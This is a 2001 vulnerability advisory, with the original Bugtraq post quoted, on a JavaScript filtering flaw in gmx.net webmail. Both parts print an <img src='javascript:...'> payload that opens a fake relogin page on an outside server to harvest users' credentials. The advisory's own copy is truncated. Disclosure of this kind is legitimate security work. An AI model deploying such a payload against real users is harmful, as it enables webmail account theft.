Gmx.net Web-Based E-mail System Lets Remote Users Execute Arbitrary Code on the User's Browser
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Date: Jun 12 2001 17:34 (UTC/GMT)
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Impact: Execution of arbitrary code via network
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Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
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Description: A vulnerability has been reported in the gmx.net web-based e-mail system that lets remote users execute arbitrary code on the user's browser.
The system reportedly has a vulnerability that fails to properly filter Javascript in HTML-based e-mail messages.
A remote user
can place Javascript within the <img> tag.
An example demonstration trojan is provided:
<html><body> <img src="javascript:
gmx=window.open('http://[host]/gmx/index.html','gmx',width='1000',height='800');window.opener.blur();window.opener.resizeTo(1,1);self.blur();self.resi
.focus();">
<h4
>mungo baby</h4></body></html>
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Impact: A remote user can send HTML-based e-mail to a user such that the user's browser will execute trojan Javascript code when the e-mail is viewed (this requires Javascript to be enabled on the user's browser).
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Solution: The vendor is preparing a fix, to be released shortly.
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Vendor URL: www.gmx.net/ (Links to External Site)
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Cause: Input validation error
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Reported By: "rudi carell" <rudicarell@hotmail.com>
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Message History:
None.
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Source Message Contents
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Date: Mon, 11 Jun 2001 09:31:04
From: "rudi carell" <rudicarell@hotmail.com>
Subject: gmx.net
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good morning buqtraq,
gmx.net is a european-based free web-mail-, web-community system comparable
with hotmail.com.
like many other web-mail systems gmx.net has a problem filtering java-script
in html-based mail-messages.
this enables an attacker to create html-messages with malicious java-script
embedded.
problem description:
the html - <img> tag can be used to embedd malicious
java-scripts within html-mails
once the "html-mailpart" is opened by the gmx-user it is possible
the "embedded" java-script is executed by the web-browser(if enabled:-) this
makes it possible to place trojans and execute URL-based webmail-commands
leading to a compromise of the users webmail-account.
sample with "classic" relogin-trojan:
---cut here---
<html><body> <img src="javascript:
gmx=window.open('http://216.147.4.38/gmx/index.html','gmx',width='1000',height='800');window.opener.b
lur();window.opener.resizeTo(1,1);self.blur();self.resizeTo(1,1);w=screen.availWidth;h=screen.availHe
ight-40;gmx.moveTo(0,0);gmx.resizeTo(w,h);gmx
.focus();">
<h4>mungo baby</h4></body></html>
---cut here---
.. not very sophisticated but working... changing user-options would be more
elaborate ..
nice day,
rc
rudicarell@hotmail.com
security@freefly.com
http://www.freefly.com
vendor status: mail has been sent to security@gmx.net
RC-EOF
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